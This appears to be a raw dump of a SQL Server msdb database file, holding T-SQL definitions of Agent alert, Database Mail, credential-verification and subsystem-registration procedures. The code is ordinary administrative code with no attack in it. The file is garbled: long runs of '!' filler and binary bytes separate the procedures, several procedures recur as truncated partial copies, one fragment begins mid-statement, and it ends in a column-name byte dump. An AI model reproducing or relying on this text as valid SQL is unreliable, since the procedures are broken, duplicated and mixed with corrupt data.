!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>F ~`"
<fMe*ig&0$k@ $8
CREATE FUNCTION dbo.SQLAGENT_SUSER_SNAME(@user_sid VARBINARY(85)) RETURNS sysname
AS
BEGIN
  DECLARE @ret sysname
  IF @user_sid = 0xFFFFFFFF
    SELECT @ret = N'$(SQLAgentAccount)'
  ELSE
    SELECT @ret = SUSER_SNAME(@user_sid)
  RETURN @ret
END
0l@ ,8
CREATE FUNCTION dbo.SQLAGENT_SUSER_SID(@user_name sysname) RETURNS VARBINARY(85)
AS
BEGIN
  DECLARE @ret VARBINARY(85)
  IF @user_name = N'$(SQLAgentAccount)'
    SELECT @ret = 0xFFFFFFFF
  ELSE
    SELECT @ret = SUSER_SID(@user_name, 0)
  RETURN @ret
END
0k 8CREATE PROCEDURE sp_delete_alert
  @name sysname
AS
BEGIN
  DECLARE @alert_id    INT
  DECLARE @return_code INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name = LTRIM(RTRIM(@name))

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if SQLServerAgent is in the process of starting
  EXECUTE @return_code = msdb.dbo.sp_is_sqlagent_starting
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- Check if this Alert exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysalerts
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Convert the Name to it's ID
  SELECT @alert_id = id
  FROM msdb.dbo.sysalerts
  WHERE (name = @name)

  BEGIN TRANSACTION

    -- Delete sysnotifications entries
    DELETE FROM msdb.dbo.sysnotifications
    WHERE (alert_id = @alert_id)

    -- Finally, do the actual DELETE
    DELETE FROM msdb.dbo.sysalerts
    WHERE (id = @alert_id)

  COMMIT TRANSACTION

  -- Notify SQLServerAgent of the change
  EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'A',
                                      @alert_id    = @alert_id,
                                      @action_type = N'D'
  RETURN(0) -- Success
END
0gk '8
CREATE PROCEDURE dbo.sysmail_delete_profileaccount_sp
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL,
   @account_id int = NULL, -- must provide id or name
   @account_name sysname = NULL
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @profileid int
   DECLARE @accountid int

   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 1, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 1, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(2)

   IF (@profileid IS NOT NULL AND @accountid IS NOT NULL) -- both parameters supplied for deletion
      DELETE FROM msdb.dbo.sysmail_profileaccount
      WHERE profile_id=@profileid AND account_id=@accountid

   ELSE IF (@profileid IS NOT NULL) -- profile id is supplied
      DELETE FROM msdb.dbo.sysmail_profileaccount
      WHERE profile_id=@profileid

   ELSE IF (@accountid IS NOT NULL) -- account id is supplied
      DELETE FROM msdb.dbo.sysmail_profileaccount
      WHERE account_id=@accountid

   ELSE -- no parameters are supplied for deletion
   BEGIN
      RAISERROR(14608, -1, -1, 'profile', 'account')  
      RETURN(3)   
   END

   RETURN(0)
0l@ 8
CREATE PROCEDURE dbo.sysmail_help_profileaccount_sp
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL,
   @account_id int = NULL, -- must provide id or name
   @account_name sysname = NULL
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @profileid int
   DECLARE @accountid int

   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 1, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 1, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(2)

   IF (@profileid IS NOT NULL AND @accountid IS NOT NULL)
      SELECT p.profile_id,profile_name=p.name,a.account_id,account_name=a.name,c.sequence_number
      FROM msdb.dbo.sysmail_profile p, msdb.dbo.sysmail_account a, msdb.dbo.sysmail_profileaccount c
      WHERE p.profile_id=c.profile_id AND a.account_id=c.account_id AND c.profile_id=@profileid AND c.account_id=@accountid
   
   ELSE IF (@profileid IS NOT NULL)
      SELECT p.profile_id,profile_name=p.name,a.account_id,account_name=a.name,c.sequence_number
      FROM msdb.dbo.sysmail_profile p, msdb.dbo.sysmail_account a, msdb.dbo.sysmail_profileaccount c
      WHERE p.profile_id=c.profile_id AND a.account_id=c.account_id AND c.profile_id=@profileid

   ELSE IF (@accountid IS NOT NULL)
      SELECT p.profile_id,profile_name=p.name,a.account_id,account_name=a.name,c.sequence_number
      FROM msdb.dbo.sysmail_profile p, msdb.dbo.sysmail_account a, msdb.dbo.sysmail_profileaccount c
      WHERE p.profile_id=c.profile_id AND a.account_id=c.account_id AND c.account_id=@accountid

   ELSE
      SELECT p.profile_id,profile_name=p.name,a.account_id,account_name=a.name,c.sequence_number
      FROM msdb.dbo.sysmail_profile p, msdb.dbo.sysmail_account a, msdb.dbo.sysmail_profileaccount c
      WHERE p.profile_id=c.profile_id AND a.account_id=c.account_id
      
   RETURN(0)
0"l u8
CREATE VIEW [dbo].[syspolicy_policy_execution_history_details]
AS
    SELECT 
        detail_id,
        history_id,
        target_query_expression,
        execution_date,
        result,
        result_detail,
        exception_message,
        exception
    FROM [dbo].[syspolicy_policy_execution_history_details_internal]
0k '8((0.0))01l '8((0.0))0k %8((0))0l %8((0))E profile_id=@profileid AND account_id=@accountid

   ELSE IF (@profileid IS NOT NULL) -- profile id is supplied
      DELETE FROM msdb.dbo.sysmail_profileaccount
      WHERE profile_id=@profileid

   ELSE IF (@accountid IS NOT NULL) -- account id is supplied
      DELETE FROM msdb.dbo.sysmail_profileaccount
      WHERE account_id=@accountid

   ELSE -- no parameters are supplied for deletion
   BEGIN
      RAISERROR(14608, -1, -1, 'profile', 'account')  
      RETURN(3)   
   END

   RETURN(0)
M(@name))

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if SQLServerAgent is in the process of starting
  EXECUTE @return_code = msdb.dbo.sp_is_sqlagent_starting
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- Check if this Alert exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysalerts
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Convert the Name to it's ID
  SELECT @alert_id = id
  FROM msdb.dbo.sysalerts
  WHERE (name = @name)

  BEGIN TRANSACTION

    -- Delete sysnotifications entries
    DELETE FROM msdb.dbo.sysnotifications
    WHERE (alert_id = @alert_id)

    -- Finally, do the actual DELETE
    DELETE FROM msdb.dbo.sysalerts
    WHERE (id = @alert_id)

  COMMIT TRANSACTION

  -- Notify SQLServerAgent of the change
  EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'A',
                                      @alert_id    = @alert_id,
                                      @action_type = N'D'
  RETURN(0) -- Success
END
0(l D8h
%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ay<`[\<BM0T0Jr w	8
CREATE PROCEDURE sp_verify_credential_identifiers
   @name_of_name_parameter [varchar](60),
   @name_of_id_parameter [varchar](60),
   @credential_name [sysname] OUTPUT,
   @credential_id [INT] OUTPUT,
   @allow_only_windows_credential bit = NULL
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @credential_id_as_char NVARCHAR(36)
  DECLARE @credential_identity NVARCHAR(4000)
   
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @credential_name        = LTRIM(RTRIM(@credential_name))

  IF (@credential_name = N'') SELECT @credential_name = NULL

  IF ((@credential_name IS NULL)     AND (@credential_id IS NULL)) OR
     ((@credential_name IS NOT NULL) AND (@credential_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check credential_id
  IF (@credential_id IS NOT NULL)
  BEGIN
    SELECT @credential_name = name,
    @credential_identity = credential_identity
    FROM sys.credentials
    WHERE (credential_id = @credential_id)

    IF (@credential_name IS NULL)
    BEGIN
     SELECT @credential_id_as_char = CONVERT(nvarchar(36), @credential_id)
      RAISERROR(14262, -1, -1, '@credential_id', @credential_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check credential name
  IF (@credential_name IS NOT NULL)
  BEGIN
      -- The name is not ambiguous, so get the corresponding credential_id (if the job exists)
    SELECT @credential_id = credential_id,
    @credential_identity = credential_identity
    FROM sys.credentials
    WHERE (name = @credential_name)

    IF (@credential_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@credential_name', @credential_name)
      RETURN(1) -- Failure
    END
  END

  IF(@allow_only_windows_credential IS NOT NULL)
  BEGIN
    IF(@allow_only_windows_credential = 1)
    BEGIN
       -- Allow only windows credentials. ( domain\user format)
       IF(CHARINDEX(N'\', @credential_identity) = 0)
       BEGIN
          RAISERROR(14720, -1, -1, '@credential_name', @credential_name)
          RETURN(1) -- Failure
       END
    END
  END

  RETURN(0) -- Success
END
0r F8CREATE PROCEDURE [dbo].[sp_sysmanagement_delete_shared_server_group]
    @server_group_id INT
AS
BEGIN
    IF NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @server_group_id)
    BEGIN
        RAISERROR (35004, -1, -1)
        RETURN(1)
    END;

    WITH ChildGroups (parent_id, server_group_id, name, server_type, server_level)
    AS
    (
        -- Anchor
        SELECT g.parent_id, g.server_group_id, g.name, g.server_type, 0 AS server_level
        FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] AS g
        WHERE g.server_group_id = @server_group_id
        UNION ALL
        -- Recursive definition
        SELECT r.parent_id, r.server_group_id, r.name, r.server_type, server_level + 1
        FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] AS r
        INNER JOIN ChildGroups AS children ON r.parent_id = children.server_group_id
    )
    -- Execute CTE to delete the hierarchy of server groups
    DELETE FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal]
        FROM ChildGroups children
        JOIN [msdb].[dbo].[sysmanagement_shared_server_groups_internal] ServerGroups
            ON children.server_group_id = ServerGroups.server_group_id
    RETURN (0)
END
0
;s %8((0))id=@profileid
      END
      ELSE
      BEGIN
         SELECT principal_id=0, 
                principal_name = N'public', 
                prof.profile_id, 
                profile_name=prof.name, 
                prin.is_default
         FROM msdb.dbo.sysmail_principalprofile prin, msdb.dbo.sysmail_profile prof 
         WHERE prin.profile_id=prof.profile_id AND 
               prin.principal_sid = @principal_sid
      END
   END
   ELSE -- non-public profiles
   BEGIN
      IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL)      
      BEGIN
            exec @rc = msdb.dbo.sysmail_verify_principal_sp @principal_id, @principal_name, 1, @principal_sid OUTPUT
            IF @rc <> 0
               RETURN(2)
      END

      IF ((@principal_id IS NOT NULL OR @principal_name IS NOT NULL) AND @profileid IS NOT NULL)
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  (prinprof.principal_sid = @principal_sid OR prinprof.principal_sid = 0x00) AND
                  prof.profile_id = prinprof.profile_id AND
                  prinprof.profile_id = @profileid
      END
      ELSE IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL)
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  (prinprof.principal_sid = @principal_sid OR prinprof.principal_sid = 0x00) AND
                  prof.profile_id = prinprof.profile_id
      END
      ELSE IF (@profileid IS NOT NULL)
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  prof.profile_id = prinprof.profile_id AND
                  prinprof.profile_id = @profileid
      END
      ELSE -- no parameters are supplied for filtering
      BEGIN
            SELECT principal_id=dbprin.principal_id,
                   principal_name=dbprin.name,
                   prof.profile_id,
                   profile_name=prof.name,
                   prinprof.is_default
            FROM sys.database_principals dbprin, msdb.dbo.sysmail_principalprofile prinprof, msdb.dbo.sysmail_profile prof
            WHERE dbprin.principal_id = dbo.get_principal_id(prinprof.principal_sid) AND
                  prof.profile_id = prinprof.profile_id
      END
   END
   RETURN(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`]<1A&/700s m8
CREATE PROCEDURE dbo.sp_verify_subsystems
   @syssubsytems_refresh_needed BIT = 0
AS
BEGIN
  SET NOCOUNT ON
   
  DECLARE @retval         INT
  DECLARE @InstRootPath nvarchar(512)
  DECLARE @VersionRootPath nvarchar(512)
  DECLARE @ComRootPath nvarchar(512)
  DECLARE @DtsRootPath nvarchar(512)
  DECLARE @SQLPSPath nvarchar(512)
  DECLARE @DTExec nvarchar(512)
  DECLARE @DTExecExists INT
  DECLARE @ToolsPath nvarchar(512)


  IF ( (@syssubsytems_refresh_needed=1) OR (NOT EXISTS(select * from syssubsystems)) )
  BEGIN
     EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\Setup', N'SQLBinRoot', @InstRootPath OUTPUT
     IF @InstRootPath IS NULL
     BEGIN
       RAISERROR(14658, -1, -1) WITH LOG
       RETURN (1)
     END
     IF RIGHT(@InstRootPath, 1) <> N'\'
       SELECT @InstRootPath = @InstRootPath + N'\'

     EXEC master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\Microsoft Sql Server\110', N'VerSpecificRootDir', @VersionRootPath OUTPUT
     IF @VersionRootPath IS NULL
     BEGIN
       RAISERROR(14659, -1, -1) WITH LOG
       RETURN(1)
     END

     EXEC master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\Microsoft SQL Server\110\SSIS\Setup\DTSPath', N'', @DtsRootPath OUTPUT, N'no_output'
     IF (@DtsRootPath IS NOT NULL)
     BEGIN
       SELECT @DtsRootPath  = @DtsRootPath  + N'Binn\'
       SELECT @DTExec = @DtsRootPath + N'DTExec.exe'
       CREATE TABLE #t (file_exists int, is_directory int, parent_directory_exists int)
       INSERT #t EXEC xp_fileexist @DTExec
       SELECT TOP 1 @DTExecExists=file_exists from #t
       DROP TABLE #t
       IF ((@DTExecExists IS NULL) OR (@DTExecExists = 0))
         SET @DtsRootPath = NULL
     END

     SELECT @ComRootPath  = @VersionRootPath  + N'COM\'

     create table #Platform(ID int,  Name  sysname, Internal_Value int NULL, Value nvarchar(512))
     insert #Platform exec master.dbo.xp_msver 'Platform'
     if EXISTS(select * from #Platform where Value like '%64%')
     EXEC master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Wow6432Node\Microsoft\Microsoft Sql Server\110\Tools\ClientSetup', N'SQLPath', @ToolsPath OUTPUT
  else
     EXEC master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\Microsoft Sql Server\110\Tools\ClientSetup', N'SQLPath', @ToolsPath OUTPUT
     drop table #Platform
     SELECT @SQLPSPath  = @ToolsPath  + N'\Binn\SQLPS.exe'
     
     -- Procedure must start its own transaction if we don't have one already.
     DECLARE @TranCounter INT;
     SET @TranCounter = @@TRANCOUNT;
     IF @TranCounter = 0
     BEGIN
        BEGIN TRANSACTION;
     END

     -- Fix for #525111 - when MSDB is restored from any other sqlserver, it is possible that physical path to agent_exe, subsystem_dll may not be valid on current server
     --  It is better to delete all records in this table and reinsert them again
     -- perform delete and re-insert operations within a transaction
     TRUNCATE TABLE syssubsystems

     -- Obtain processor count to determine maximum number of threads per subsystem
     DECLARE @xp_results TABLE
     (
     id              INT           NOT NULL,
     name            NVARCHAR(30)  COLLATE database_default NOT NULL,
     internal_value  INT           NULL,
     character_value NVARCHAR(212) COLLATE database_default NULL
     )
     INSERT INTO @xp_results
     EXECUTE master.dbo.xp_msver

     DECLARE @processor_count INT
     SELECT @processor_count = internal_value from @xp_results where id=16 -- ProcessorCount

     -- Modify database.
     BEGIN TRY

       --create subsystems
       --TSQL subsystem
       INSERT syssubsystems
       VALUES
       (
          1, N'TSQL',14556, FORMATMESSAGE(14557), FORMATMESSAGE(14557), FORMATMESSAGE(14557), FORMATMESSAGE(14557), FORMATMESSAGE(14557), 20 * @processor_count
       )
       --ActiveScripting subsystem
       INSERT syssubsystems
       VALUES
       (
          2, N'ActiveScripting',  14555, @InstRootPath + N'SQLATXSS.DLL',NULL,N'ActiveScriptStart',N'ActiveScriptEvent',N'ActiveScriptStop', 10 * @processor_count
       )

       --CmdExec subsystem
       INSERT syssubsystems
       VALUES
       (
          3, N'CmdExec', 14550, @InstRootPath + N'SQLCMDSS.DLL',NULL,N'CmdExecStart',N'CmdEvent',N'CmdExecStop', 10 * @processor_count
       )

       --Snapshot subsystem
       INSERT syssubsystems
       VALUES
       (
          4, N'Snapshot',   14551, @InstRootPath + N'SQLREPSS.DLL', @ComRootPath + N'SNAPSHOT.EXE', N'ReplStart',N'ReplEvent',N'ReplStop',100 * @processor_count
       )

       --LogReader subsystem
       INSERT syssubsystems
       VALUES
       (
          5, N'LogReader',  14552, @InstRootPath + N'SQLREPSS.DLL', @ComRootPath + N'logread.exe',N'ReplStart',N'ReplEvent',N'ReplStop',25 * @processor_count
       )

       --Distribution subsystem
       INSERT syssubsystems
       VALUES
       (
          6, N'Distribution',  14553, @InstRootPath + N'SQLREPSS.DLL', @ComRootPath + N'DISTRIB.EXE',N'ReplStart',N'ReplEvent',N'ReplStop',100 * @processor_count
       )

       --Merge subsystem
       INSERT syssubsystems
       VALUES
       (
          7, N'Merge',   14554, @InstRootPath + N'SQLREPSS.DLL',@ComRootPath + N'REPLMERG.EXE',N'ReplStart',N'ReplEvent',N'ReplStop',100 * @processor_count
       )

       --QueueReader subsystem
       INSERT syssubsystems
       VALUES
       (
          8, N'QueueReader',   14581, @InstRootPath + N'SQLREPSS.dll',@ComRootPath + N'qrdrsvc.exe',N'ReplStart',N'ReplEvent',N'ReplStop',100 * @processor_count
       )

       --ANALYSISQUERY subsystem
       INSERT syssubsystems
       VALUES
       (
          9, N'ANALYSISQUERY', 14513, @InstRootPath + N'SQLOLAPSS.DLL',NULL,N'OlapStart',N'OlapQueryEvent',N'OlapStop',100 * @processor_count
       )

       --ANALYSISCOMMAND subsystem
       INSERT syssubsystems
       VALUES
       (
          10, N'ANALYSISCOMMAND', 14514, @InstRootPath + N'SQLOLAPSS.DLL',NULL,N'OlapStart',N'OlapCommandEvent',N'OlapStop',100 * @processor_count
       )

       IF(@DtsRootPath IS NOT NULL)
       BEGIN
		--DTS subsystem
		INSERT syssubsystems
		VALUES
		(
			11, N'SSIS', 14538, @InstRootPath + N'SQLDTSSS.DLL',@DtsRootPath + N'DTExec.exe',N'DtsStart',N'DtsEvent',N'DtsStop',100 * @processor_count
		)
       END
       
       --PowerShell subsystem     
       INSERT syssubsystems
       VALUES
       (
              12, N'PowerShell', 14698, @InstRootPath + N'SQLPOWERSHELLSS.DLL', @SQLPSPath, N'PowerShellStart',N'PowerShellEvent',N'PowerShellStop',2
       )
	
   END TRY
   BEGIN CATCH

       DECLARE @ErrorMessage NVARCHAR(400)
       DECLARE @ErrorSeverity INT
       DECLARE @ErrorState INT

       SELECT @ErrorMessage = ERROR_MESSAGE()
       SELECT @ErrorSeverity = ERROR_SEVERITY()
       SELECT @ErrorState = ERROR_STATE()

       -- Roll back the transaction that we started if we are not nested
       IF @TranCounter = 0
       BEGIN
         ROLLBACK TRANSACTION;
       END
       -- if we are nested inside another transaction just raise the 
       -- error and let the outer transaction do the rollback
       RAISERROR (@ErrorMessage, -- Message text.
                   @ErrorSeverity, -- Severity.
                   @ErrorState -- State.
                   )
       RETURN (1)                  
     END CATCH
  END --(NOT EXISTS(select * from syssubsystems))
  
  -- commit the transaction we started
  IF @TranCounter = 0
  BEGIN
    COMMIT TRANSACTION;
  END
  
  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`+)M_x6eE6originating_server6eE$owner_sid6eE,start_step_id6eE.version_number6eE<originating_server_id6F&session_id6F2agent_start_date6F @job_id6F$@job_name6F"@step_id6F&@step_name6F(@older_than6F*@larger_than6u}Flog_id6u}F&event_type6u}F"log_date6u}F(description6u}F&process_id6u}F(mailitem_id6u}F&account_id6u}F,last_mod_date6u}F	,last_mod_user6qG.@logged_before6qG(@event_type6daF6@collection_set_id6G6@collection_set_id6G@mode6G$@operator6G @log_id6s{F8target_set_level_id6s{F,target_set_id6s{F,type_skeleton6s{F*condition_id6s{F&level_name6G2@credential_name6G2@network_account6G$@password6X\G:server_instance_name6X\G,database_name6X\G8over_utilized_count6X\G:under_utilized_count6X\G&set_number6X\G0processing_timeG
2@active_end_time6G<@schedule_description6TȚH @job_id6TȚH$@job_name6TȚH@name6TȚH"@enabled6TȚH&@freq_type6TȚH.@freq_interval6TȚH4@freq_subday_type6TȚH<@freq_subday_interval6TȚH	@@freq_relative_interval6TȚH
@@freq_recurrence_factor6TȚH6@active_start_date6TȚH2@active_end_date6TȚH
